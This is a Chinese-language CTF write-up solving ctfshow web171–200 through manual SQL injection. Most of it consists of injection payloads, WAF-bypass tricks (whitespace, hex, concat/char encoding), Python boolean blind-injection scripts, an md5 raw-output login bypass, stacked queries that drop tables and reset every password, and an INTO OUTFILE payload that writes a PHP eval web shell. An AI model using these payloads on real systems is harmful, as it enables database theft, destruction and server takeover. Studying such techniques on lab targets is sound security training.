ctfshow_SQL手工注入

ctfshow_SQL手工注入

sql陆陆续续学了又停好几次 , 上次打sql还是moe的跟w4ter的题目

甚至因为不怎么会搓脚本 手工盲注了一题

想到新人遇到SQL也可能跟我当时一样头疼 咬咬牙把这篇写了

171-200的话是手工/手写脚本的注入 , 后面用sqlmap的再单独拉一篇

最近负责班级综测跟NewStar的协办太累了, 也是做做停停..

我的环境

local Mysql5.7.26 choco_db user/ctfshow_user*

internet CTFSHOW靶机

SELECT 模块

无过滤注入

web 171 or

1
select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;

一次查询一个id , username不能是flag

这里利用 and 和 or 的从左往右优先级

1
0 and 0 or 1 == 1

1
2
3
4
5
6
7
8
9
select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;

mysql>
select username,password from user where username !='flag' and id = '0' or id = '4' limit 1;
+----------+--------------+
| username | password |
+----------+--------------+
| flag | flag{whoami} |
+----------+--------------+

payload

1
9999' or id = '26

web 172 联合查询

联合查询 绕过输出检测

增加了过滤

1
2
3
4
5
6
7
# 拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

# 检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}

模糊查询

1
select username,password from user where username like '%f%';

但是依然因为返回有flag而被拦截

那么可以不要第一列username回显

联合查询
1
select username,password from ctfshow_user2 where username !='flag' and id = '0' union select id,password from user where username = 'flag';

payload

1
0' union select id,password from ctfshow_user2 where username = 'flag

web 173 进制转换

进制转换 绕过输出检测

1
2
3
4
5
6
7
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}

由于查询语句中包含了 id username password
因此不能 “隐藏 username 查询”
可以利用进制转换绕过输出过滤

1
select id,username,password from user where username !='flag' and id = '0' union select id,hex(username),password from user where username = 'flag';

payload

1
0' union select id,hex(username),password from ctfshow_user3 where username = 'flag

web 174 字符替换

1
2
3
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";

preg_match('/flag|[0-9]/i', json_encode($ret))

输出过滤变严格了, 不能带有数字

利用替换函数 replace( )

1
2
3
4
5
6
select replace("f1ag",'1',"choco");
+-----------------------------+
| replace("f1ag",'1',"choco") |
+-----------------------------+
| fchocoag |
+-----------------------------+

那么
repace

1
2
3
4
5
6
7
8
9
10
11
12
replace("password","1","!")

replace(replace("password","1","!"),"2","@")

...

replace(replace(replace(replace("password","1","!"),"2","#"),"3","#"),"4","$")

...

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace("password","1","!"),"2","@"),"3","#"),"4","$"),"5","%"),"6","^"),"7","&"),"8","*"),"9","("),"0",")")

也就是通过

1
replace(replace(replace(replace(replace(replace(replace(replace(replace(replace("password","1","!"),"2","@"),"3","#"),"4","$"),"5","%"),"6","^"),"7","&"),"8","*"),"9","("),"0",")")

! 注意这里 “password” 需要替换成具体的字段

可以把数字转换掉

1
2
3
4
5
6
7
select id,username,password from user where username !='flag' and id = '0' union select id,username,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,"1","!"),"2","@"),"3","#"),"4","$"),"5","%"),"6","^"),"7","&"),"8","*"),"9","("),"0",")") from user where username = 'flag';

+----+----------+--------------+
| id | username | password |
+----+----------+--------------+
| 4 | flag | flag{wh)am!} |
+----+----------+--------------+

payload (因为 username 里面含有 flag 字样 , 就不要这个位置回显了 )

1
0' union select 'USERNAME',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,"1","!"),"2","@"),"3","#"),"4","$"),"5","%"),"6","^"),"7","&"),"8","*"),"9","("),"0",")") from ctfshow_user4 where username = 'flag

payload 很长 , BP 发包(提醒URL 编码)

1
2
3
ctfshow{db)e(^a^-fed^-$^(e-ab!a-*f#@ba&!%e^e}

ctfshow{db0e96a6-fed6-469e-ab1a-8f32ba715e6e}

web 175 木马写入

1
preg_match('/[\x00-\x7f]/i', json_encode($ret))

极为严格的输出过滤

回显信道很难写了, 试试能不能文件写入

1
select username,password from ctfshow_user5 where username !='flag' and id = '0' union select 1,from_base64("PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+") into outfile '/var/www/html/choco.php' limit 1;

payload

1
0' union select 1,from_base64("PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+") into outfile '/var/www/html/choco.php

AntSword 连接 > API Config 文件找到数据库密码
AntSword 连接 > 数据库 找到 flag

过滤注入

web 176 开始过滤

啥也没过 , 新手村

1
0' or username='flag

web 177 绕过空格

黑盒
经过尝试, 过滤了空格

1
%20 %09 %0a %0b %0c %0d %a0 %00 /**/  /*!*/

使用 /**/ 和 反引号 绕过

1
select id,username,password from ctfshow_user where username !='flag' and id = '0' union select 1,2,3;%23 limit 1;
1
select id,username,password from ctfshow_user where username !='flag' and id = '0'union/**/select'1',(select`password`from`ctfshow_user`where`username`='flag'),'3';

payload

1
0'union/**/select'1',(select`password`from`ctfshow_user`where`username`='flag'),'3';%23

web 178 绕过空格

不让用 /**/
%09 %0a %0b %0c 都可以用来替换

1
0'union%09select'1',(select`password`from`ctfshow_user`where`username`='flag'),'3';%23

web 179 绕过空格

%0c 可以

1
0'union%0cselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3';%23

web 180 绕过空格

送一个

1
0'union%0cselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3

web 181 绕过空格

1
2
3
4
5
6
7
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

单引号能用

1
0'or(username='flag')and'1

web 182 绕过空格+绕过 flag

flag 被过滤了
183 基础上小改 换个定位

1
0'or(id=26)and'1

或者模糊查询

1
0'or(username%0clike%0c'%fla%')and'1

(%0c 实际上没有被过滤 6)

web 183 布尔盲注

1
2
3
4
5
6
7
8
9
10
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";

//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}

//返回用户表的记录总数
$user_count =1 ;

or select 被过滤 ,

发个包看看 tableName=ctfshow_user
返回 user_count = 22

模糊匹配看看

1
2
3
4
5
tableName=`ctfshow_user `where` pass `like'%25c%25'

`ctfshow_user`where`pass`regexp("ctfshow{")

>> user_count = 1

可行, 但是没有明文回显

脚本盲注了, 判断依据是 user_count = 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests  
import time

url = "http://89bf82b1-24b0-4580-866a-53f84877892f.challenge.ctf.show/select-waf.php"

flagstr = "}0123456789-abcdefghijklmnopqrstuvwxyz{"

flag = ""
for i in range(0,40):
for x in flagstr:
data={
"tableName": "`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag+x)
}
response = requests.post(url,data=data)
time.sleep(0.25)
if response.text.find("user_count = 1;")>0:
print("{} is good".format(x))
flag += x
print("ctfshow"+flag)
break
else:
print("{}".format(x))
continue
print(flag)

web 184 布尔盲注 HAVING

1
2
3
4
5
select count(*) from ".$_POST['tableName'].";

function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

where 禁用
利用 having 代替

1
tableName=`ctfshow_user`having`pass`regexp("ctfshow")

单双引号被过滤
ctfshow URLencode == %63%74%66%73%68%6f%77

0x63746673686f77 (ASCII删去%变成十六进制数 , regexp的正则遇到非字符串的十六进制会反过来转成 ctfshow)

1
tableName=ctfshow_user having pass regexp("ctfshow")

由于查询语句写死了 count(*) 这里需要加上 group by 定向 username

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mysql> select count(*) from user;
+----------+
| count(*) |
+----------+
| 4 |
+----------+
1 row in set (0.03 sec)

mysql> select count(*) from user having username='flag';
1054 - Unknown column 'username' in 'having clause'


mysql> select count(*) from user group by username having username='flag';
+----------+
| count(*) |
+----------+
| 1 |
+----------+
1 row in set (0.04 sec)

使用了group by后,那你select的列就只能是group by的列或者对其他列进行聚合运算

1
tableName=ctfshow_user group by pass having pass regexp(0x63746673686f77)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import time
print("web184")
url = "http://960cf819-caad-4658-8fb0-c94ed4a2ea5b.challenge.ctf.show/select-waf.php"

flagstr = "}0123456789-abcdefghijklmnopqrstuvwxyz{"

# 字符转十六进制
def str2hex(str):
input=""
for n in str:
input += hex(ord(n))
return input.replace("0x","")

flag = ""
for i in range(0,40):
for x in flagstr:
data={
"tableName" : "ctfshow_user group by pass having pass regexp(0x63746673686f77{})".format(str2hex(flag+x))
}
response = requests.post(url,data=data)
time.sleep(0.25)
if response.text.find("user_count = 1;")>0:
print("{} is good".format(x))
flag += x
print("ctfshow"+flag)
break
else:
print("{}".format(x))
continue
print(flag)

web 185 布尔盲注 CONCAT( )

过滤了很多

包括 or select where union sleep 以及 数字

1
2
3
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

要构建没有数字的字符串了..

那么这里使用CONCAT() 函数用于将两个或多个字符串值连接成一个字符串

1
2
3
4
5
6
7
mysql> select concat((true+true),true,"choco");
+----------------------------------+
| concat((true+true),true,"choco") |
+----------------------------------+
| 21choco |
+----------------------------------+
1 row in set (0.03 sec)

即 在184的基础上 , 把十六进制数字换成CONCAT的表达

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
def str2hex(str):
input=""
for n in str:
input += hex(ord(n))
return input.replace("0x","")

def formatstring(str):
each=""
for n in str:
if n=="0":
each += ",(false)"
continue
if n=="1":
each += ",(true)"
continue
if n=="2":
each += ",(true+true)"
continue
if n=="3":
each += ",(true+true+true)"
continue
if n=="4":
each += ",(true+true+true+true)"
continue
if n=="5":
each += ",(true,true,true,true,true)"
continue
if n=="6":
each += ",(true+true+true+true+true+true)"
continue
if n=="7":
each += ",(true+true+true+true+true+true+true)"
continue
if n=="8":
each += ",(true+true+true+true+true+true+true+true)"
continue
if n=="9":
each += ",(true+true+true+true+true+true+true+true+true+true)"
continue
else:
each += ",\""+n+"\""
return each

def main():
head = "concat((false),\"x\","
str1 = "111"
str2 = str2hex(str1)
# print(str2)
str3 = formatstring(str2)
#print(str3)
print(head+str3+")")
pass
if __name__ == '__main__':
main()
1
2
3
4
5
0x :
(true+true+true),(false),(true+true+true+true+true+true+true),(true+true+true+true+true+true+true+true)

ctfshow{ :
(true+true+true+true+true+true),(true+true+true),(true+true+true+true+true+true+true),(true+true+true+true),(true+true+true+true+true+true),(true+true+true+true+true+true),(true+true+true+true+true+true+true),(true+true+true),(true+true+true+true+true+true),(true+true+true+true+true+true+true+true),(true+true+true+true+true+true),"f",(true+true+true+true+true+true+true),(true+true+true+true+true+true+true),(true+true+true+true+true+true+true),"b"

发现存在双引号 (不然sql无法加入英文字符)

得利用ASCII编码 char(97)=='a'来绕过

测试脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# def str2hex(str):
# input=""
# for n in str:
# input += hex(ord(n))
# return "0x"+input.replace("0x","")

def formatstring(str):
temp="concat("
for i in str:
temp+=char2boolean(i)
return temp[:-1]+")"

def char2boolean(ch):
num = ord(ch)
temp = "char("
for i in range(num):
temp+="true+"
return temp[:-1]+"),"

def main():
# str1 = "111"
# str2 = str2hex(str1)
# print(str2)
# str3 = formatstring(str2)
# print(str3)
print(formatstring("c"))

pass
if __name__ == '__main__':
main()

总而言之

1
2
3
4
5
6
7
c
||
concat("c")
||
concat(char(99))
||
concat(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true))

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import time
print("web185")
url = "http://72e3cf5b-556d-4ea7-acc8-cc74501c0d57.challenge.ctf.show/select-waf.php"

flagstr = "}0123456789-abcdefghijklmnopqrstuvwxyz{"


def formatstring(str):
temp="concat("
for i in str:
temp+=char2boolean(i)
return temp[:-1]+")"

def char2boolean(ch):
num = ord(ch)
temp = "char("
for i in range(num):
temp+="true+"
return temp[:-1]+"),"

flag = "ctfshow{"
for i in range(0,40):
for x in flagstr:
data={
"tableName" : "ctfshow_user group by pass having pass regexp({})".format(formatstring(flag+x))
}
#print(data)
response = requests.post(url,data=data)
time.sleep(0.5)
if response.text.find("user_count = 1;")>0:
print("{} is good".format(x))
flag += x
print(flag+"...")
break
else:
print("{}".format(x))
continue
print(flag)

web 186 布尔盲注

新增的过滤< > 不影响185的脚本

再战一次吧

web 187 MD5函数注入

1
2
3
4
5
6
7
8
9
10
11
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";


$username = $_POST['username'];
$password = md5($_POST['password'],true);

//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}

根据

$password = md5($_POST['password'],true);

如果可选的binary被设置为true 那么md5摘要将以16字符长度的原始二进制格式返回

1
2
3
// 密码输入 ffifdyop

md5("ffifdyop",true) => 'or'6É]™é!r,ùíb

那么如果md5($_POST['password'],true)的返回值为 'or'123...(除0外任意数字开头)... SQL语句将被拼接为

$sql="select count(*) from ctfshow_user where username='admin' and password=''or'1xxx'";

1
2
3
4
5
6
7
mysql> select count(*) from user where username='admin' and password=''or'1xxx'; // 这里判断为真 
+----------+
| count(*) |
+----------+
| 4 |
+----------+
1 row in set (0.02 sec)

发包

username=admin&password=ffifdyop

web 188 0注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
select pass from ctfshow_user where username = {$username}";

//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}

当查询字段为没有被单引号包裹的 0 时

1
2
3
4
5
6
7
8
9
10
mysql> select username,password from user where username = 0;
+----------+--------------+
| username | password |
+----------+--------------+
| admin1 | 12 |
| admin2 | 123 |
| admin3 | 1234 |
| flag | flag{wh0am1} |
+----------+--------------+
4 rows in set (0.04 sec)

因为username里面首字母强制转换成数字时是0, 因此所有字母开头的都能查询到

username=0&password=0

web 189 逻辑布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$sql = "select pass from ctfshow_user where username = {$username}";

if(preg_match('/select|and||\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

if($row['pass']==$password){
$ret['msg']='登陆成功';
}

判断存在

在查询语句中 利用单引号包裹'admin'发送 , 显示密码错误 (username对了 password没对 不然显示查询失败或无回显内容)

尝试注入

过滤了 x7c 也就是 |

无法使用 select password from user where username = 'flag'||4; 来查询

布尔盲注

先抓包 抓取不同返回值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
username=0
>> 密码错误
>>{"code":0,"msg":"\u5bc6\u7801\u9519\u8bef","count":0,"data":[]}

username=1
>> 查询失败
>>{"code":0,"msg":"\u67e5\u8be2\u5931\u8d25","count":0,"data":[]}

username=admin
>> null

username='admin'
>> 密码错误
>>{"code":0,"msg":"\u5bc6\u7801\u9519\u8bef","count":0,"data":[]}

过滤留下了单双引号, 并且提示了 flag在api/index.php文件中

尝试

1
username=if(substr(load_file('/var/www/html/api/index.php'),1,2)regexp('<!'),1,0)&password=1

回显查询失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import time

url = "http://588cfe46-90d1-4600-bad5-10efc4524100.challenge.ctf.show/api/"

flagstr = "{}0123456789-abcdefghijklmnopqrstuvwxyz{=<>$+,;_'@#"

flag = ""
for i in range(257,257+60):
for x in flagstr:
data={
"username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i,x),
"password":"0"
}
print(data)
response = requests.post(url,data=data)
time.sleep(0.2)
if response.text.find("8d25")>0:
print("{} is good".format(x))
flag += x
print("ctfshow"+flag)
break
else:
print("{}".format(x))
continue
print(flag)

QWQ不要直接复制URL 这里调用的API

布尔盲注

web 190 布尔盲注 ASCII

1
$sql = "select pass from ctfshow_user where username = '{$username}'";

username被单引号包裹

1
2
3
admin' and 2>1#
>> POST /api/ {"code":0,"msg":"\u5bc6\u7801\u9519\u8bef","count":0,"data":[]}
>> 密码错误

二分法查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
#import sys
import time

url = "http://d42e0cf1-5325-4dd7-8c49-fb8ce6a8aee6.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
max = 127
min = 32
while 1:
mid = (max+min)>>1
if min == mid:
flag += chr(mid)
print(flag)
break
#payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
#ctfshow_web
#payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
#ctfshow_fl0g
#payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
#id,f1ag
payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)

data = {
"username":payload,
"password":0,
}
res = requests.post(url = url,data =data)
time.sleep(0.3)
if res.text.find("8bef")>0:
max = mid
else:
min = mid

web 191 布尔盲注 ORD

preg_match('/file|into|ascii/i', $username)

ASCII不让用

换成 ord( )函数

web 192 substr =

禁用了 ASCII ORD HEX

没有二分法可用( 转换函数BAN完了基本上 )

采用匹配

1
2
3
admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#
||
admin'and ((substr((select f1ag from ctfshow_fl0g),1)='{}'))#

web 193 left >

substr 被过滤

使用LEFT函数判断大小 (a<b<c)

1
2
3
4
5
6
select * from user where username = 'admin1' and (left((select column_name from table_name),1)<'d');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin1 | 12 |
+----+----------+----------+

如果flag取第一个字母 是比d小的 (a b c) 那么查询admin 否则Empty set

1
admin'and (left((select database()),1)='c')#

好难写 用189(虽然有好多debug代码 但是也方便改了嘻嘻)的改

数据库名

  1. admin'and (left((select tablename() from ctfshow_web),{})='{}')#
  2. 查询数据库名: ctfshow_web

数据表名

1
2
3
4
5
6
select * from user where username = 'admin1'and (left((select group_concat(table_name) from information_schema.tables where table_schema=database()),1)='f');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin1 | 12 |
+----+----------+----------+
  1. admin'and (left((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{})='{}')#

  2. 查询数据表名: ctfshow_flxg

列名

  1. admin'and (left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{})='{}')#

  2. 列名 id,f1ag

注意 列名之间 mysql是用逗号隔开 , flagstr里面记得灵活调整

最后

payloadadmin' and (left((select f1ag from ctfshow_flxg),{})='{}')#

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import time

url = "http://a5d3d3fb-515c-4c61-8c27-abbf65d15c43.challenge.ctf.show/api/"

flagstr = "}0123456789-abcdefghijklmnopqrstuvwxyz{_"


flag = ""
for i in range(1,60):
for x in flagstr:
data={
"username":"admin' and (left((select f1ag from ctfshow_flxg),{})='{}')#".format(i,flag+x),
"password":"0"
}
#print(data)
response = requests.post(url,data=data)
time.sleep(0.002)
if response.text.find("8bef")>0:
print("{} is good".format(x))
flag += x
print(flag)
break
else:
print("{}".format(x))
continue
print(flag)

web 194 LPAD

1
2
3
select pass from ctfshow_user where username = '{$username}'

preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)

把 left|right 禁用了

LPAD( ) RPAD( )

本地操作看看

1
2
3
4
5
6
7
mysql> select lpad("choco",3,'');
+--------------------+
| lpad("choco",3,'') |
+--------------------+
| cho |
+--------------------+
1 row in set (0.03 sec)

会截取左n位的字符

改 193 的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import time

url = "http://ed7de692-3c32-458f-805a-33d039b0ffee.challenge.ctf.show/api/"

flagstr = "}0123456789-abcdefghijklmnopqrstuvwxyz{_"


flag = ""
for i in range(1,60):
for x in flagstr:
data={
"username":"admin' and (lpad((select f1ag from ctfshow_flxg),{})='{}')#".format(i,flag+x),
"password":"0"
}
#print(data)
response = requests.post(url,data=data)
time.sleep(0.002)
if response.text.find("8bef")>0:
print("{} is good".format(x))
flag += x
print(flag)
break
else:
print("{}".format(x))
continue
print(flag)

堆叠注入

web 195

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
  //拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

空格 单双引号 过滤

但是查询语句中没有单双引号保护

可能是堆叠注入

(多条sql语句同时执行)

select | union 被ban

这里提供一个update思路 把密码都重置为1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mysql> select * from hexo where uname ='a';update`hexo`set`position`='Poz';
+----+-------+----------+
| id | uname | position |
+----+-------+----------+
| 1 | a | A |
+----+-------+----------+
1 row in set (0.02 sec)

Query OK, 4 rows affected (0.00 sec)
Rows matched: 4 Changed: 4 Warnings: 0

mysql> select * from hexo where uname ='a';
+----+-------+----------+
| id | uname | position |
+----+-------+----------+
| 1 | a | Poz |
+----+-------+----------+
1 row in set (0.03 sec)

ok

可行,同时注意 因为username没法用单双引号包裹字符串, 得找个名字是数字的用户

这里是 0

1
0;update`ctfshow_user`set`pass`=1;
1
2
3
4
5
6
7
8
9
10
11
12
13
username=0&password=1
>> 密码错误

username=0;update`ctfshow_user`set`pass`=1;&password=1
>> 密码只能为数字

username=0;update`ctfshow_user`set`pass`=1&password=1
>> 密码错误


username=0&password=1
>>{"code":0,"msg":"\u767b\u9646\u6210\u529f flag is ctfshow{73cf58de-eb2b-4c17-83a6-4201abbe626c}","count":0,"data":[]}

插眼 后面有update模块 应该就是通过这个

web 196堆叠

0;select(1) password=1

利用泄露过的passwd username=0&passwordAUTO

web 197 重置UP

默认账密username=0&passwordAUTO能出

但是select不让增加了 196的办法不行

这里有个暴力做法, 直接把表给他换成自己的

1
2
3
4
5
6
7
select position from hexo where uname =0;
DROP TABLE IF EXISTS hexo;
CREATE TABLE hexo (
`username` VARCHAR(20),
`pass` VARCHAR(20)
);
INSERT INTO hexo (`username`, `pass`) VALUES (1, 2);
1
2
3
4
5
6
0;DROP TABLE ctfshow_user;
CREATE TABLE ctfshow_user(
`username` VARCHAR(20),
`pass` VARCHAR(20)
);
INSERT INTO ctfshow_user(`username`, `pass`) VALUES (1, 2);

web 198 交换UP

1
2
3
alter table ctfshow_user change `username` `tmp` varchar(100);
alter table ctfshow_user change `pass` `username` varchar(100);
alter table ctfshow_user change `tmp` `pass` varchar(100);

注意要用tmp之类的东西过度一下, 不然重名了

1
2
3
4
5
0;alter table ctfshow_user change `username` `tmp` varchar(100);
alter table ctfshow_user change `pass` `username` varchar(100);
alter table ctfshow_user change `tmp` `pass` varchar(100);

1

也可以可以用insert向ctfshow_user表的username和pass字段中添加值

1
2
username   0' insert ctfshow_user(`username`,`pass`) value(1,2)
password 123

在输入用户名为1,密码为2

web 199

1
2
3
4
5
6
7
8
9
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

括号被过滤

但是验证逻辑有问题

尝试用show tables查询表名

1
2
username 999;show tables
password ctfshow_user

web 200

同199

也可以去修改(198)

通杀的话就是交换UP